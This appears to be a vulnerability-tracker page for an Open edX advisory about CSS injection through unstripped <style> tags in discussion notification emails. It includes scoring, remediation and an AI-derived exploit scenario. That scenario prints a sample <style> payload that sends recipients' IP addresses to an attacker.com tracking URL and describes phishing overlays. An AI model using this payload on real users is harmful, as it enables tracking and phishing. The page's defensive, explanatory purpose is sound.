Skip to main content

Open edX Platform CVE-2026-42857

| EUVDEUVD-2026-29165 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-11 GitHub_M
5.4
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Enroll in course as student
  2. Delivery
    Author discussion post with <style> tag
  3. Exploit
    System emails notification to other users
  4. Execution
    Email client renders HTML and CSS
  5. Persist
    Execute malicious stylesheet
  6. Impact
    Exfiltrate IP address or display phishing overlay

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

An attacker must be enrolled as a student in the Open edX course where they can author discussion posts. The HTML sanitizer must be applied to the post content (standard in notification email generation), and the notification must be sent via email (not in-platform notifications). Recipients must open the email notification in an email client that renders HTML and interprets CSS, which is the default behavior for most email clients. No special course configuration, feature flag, or non-default setting is required; this vulnerability affects standard discussion notification email pipelines. The vulnerability is limited to email notifications specifically; in-platform discussion viewing may use different sanitization. Email clients that render CSS are a prerequisite, but this is the standard case (Outlook, Gmail, Apple Mail, etc. all render CSS), making the condition effectively universal among typical users.

Impact

This vulnerability presents moderate real-world risk despite its modest 4.6 CVSS score. The CVSS vector (AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L) correctly reflects network accessibility, low attack complexity, and requirement for prior authentication (PR:L = enrolled student status) and user interaction (UI:R = recipient must open the email). However, three factors elevate practical risk: (1) the exploitation condition (any enrolled student can inject CSS) is extremely common in learning platforms where discussion participation is widespread, (2) the impact includes email tracking and phishing, both high-value attack objectives in educational and enterprise settings, and (3) email content spoofing can target instructors, administrators, or other students at scale. The requirement for user interaction (email open) and scope unchanged (S:U) correctly limits severity compared to reflected XSS, but does not eliminate the threat. This is a legitimate authenticated stored XSS with realistic attack scenarios in multi-user learning environments. No EPSS score, KEV status, or public POC was provided in the input, but the presence of a GitHub security advisory and commit fix indicates vendor awareness and remediation. The low CVSS score should not lead to deprioritization given the attack vector (enrolled users) and multi-user impact (email notifications broadcast to many recipients).

Exploit ScenarioDerived

An enrolled student in an Open edX course creates a discussion post containing a malicious <style> tag with a background-image URL pointing to an attacker-controlled server (e.g., <style>body { background-image: url('https://attacker.com/track?user=') }</style>). When another student or instructor receives the email notification of this post, their email client renders the HTML content and attempts to load the background image, leaking their IP address to the attacker's server. Alternatively, the attacker injects CSS to create an overlay form using absolute positioning and display properties, spoofing a login prompt or phishing form within the email body.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

Stored cross-site scripting (XSS) via CSS injection in Open edX Platform allows enrolled students to inject arbitrary CSS into discussion notification emails sent to other users by bypassing insufficient HTML sanitization in the clean_thread_html_body() function. The vulnerability affects all versions prior to the fix commit and enables email tracking through malicious stylesheets, content spoofing, and phishing attacks against recipients who view notification emails.

RemediationAI

Apply the upstream fix by updating Open edX Platform to a patched version that includes commit cddc25cd791bb78f76833896e4778f668861df12 or later. The fix adds <style> tag decomposition to the clean_thread_html_body() function in lms/djangoapps/discussion/rest_api/discussions_notifications.py. If immediate patching is not feasible, implement compensating controls: (1) Disable or restrict the HTML discussion feature in notification emails by rendering discussion content as plain text instead of HTML, which eliminates CSS injection vectors at the rendering layer but may reduce email formatting quality. (2) Implement a Content Security Policy (CSP) header in email clients or email gateway settings that blocks inline styles (style-src 'none'), though this depends on email client support and may not be universally enforced. (3) Audit discussion posts for suspicious <style> tags in the discussion moderation tools and remove flagged posts; this is reactive but identifies active exploitation. (4) Restrict discussion posting privileges to trusted users (instructors, teaching assistants) rather than all enrolled students if pedagogically acceptable, reducing the attacker population. Refer to GitHub commit https://github.com/openedx/openedx-platform/commit/cddc25cd791bb78f76833896e4778f668861df12 for implementation details and test cases.

Affected VersionsENISA

openedx-platform < cddc25cd791bb78f76833896e4778f668861df12
openedx-platform sumac, < ulmo

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the discussion notification email rendering pipeline of Open edX Platform. The clean_thread_html_body() function in lms/djangoapps/discussion/rest_api/discussions_notifications.py is responsible for sanitizing user-generated HTML content from discussion posts before it is rendered in email templates. However, this function fails to remove <style> tags, which are then rendered with Django's |safe template filter in email notification templates. When recipients open the email, the browser interprets the arbitrary CSS, allowing attackers to exploit CSS capabilities such as background-image URLs to exfiltrate IP addresses (via DNS/HTTP requests to attacker-controlled domains), overlay phishing forms using absolute positioning, or perform visual content spoofing. The root cause is incomplete HTML tag stripping (CWE-79: Improper Neutralization of Input During Web Page Generation). The fix (commit cddc25cd791bb78f76833896e4778f668861df12) adds <style> tag decomposition logic alongside content removal to fully eliminate CSS injection vectors.

Know when Openedx Platform gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
CVSS changed
Oct 26, 2026 - 18:23 NVD
4.6 (MEDIUM) 5.4 (MEDIUM)
CVE Published
May 11, 2026 - 17:32 nvd
MEDIUM 4.6

DescriptionNVD

Open edX Platform enables the authoring and delivery of online learning at any scale. The HTML sanitizer clean_thread_html_body() used for discussion notification emails fails to remove <style> tags from user-generated discussion post content. This content is rendered with Django's |safe template filter in email notification templates, allowing any enrolled student to inject arbitrary CSS into email notifications sent to other users. This enables email tracking (IP address disclosure), content spoofing, and phishing attacks. This vulnerability is fixed with commit cddc25cd791bb78f76833896e4778f668861df12.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy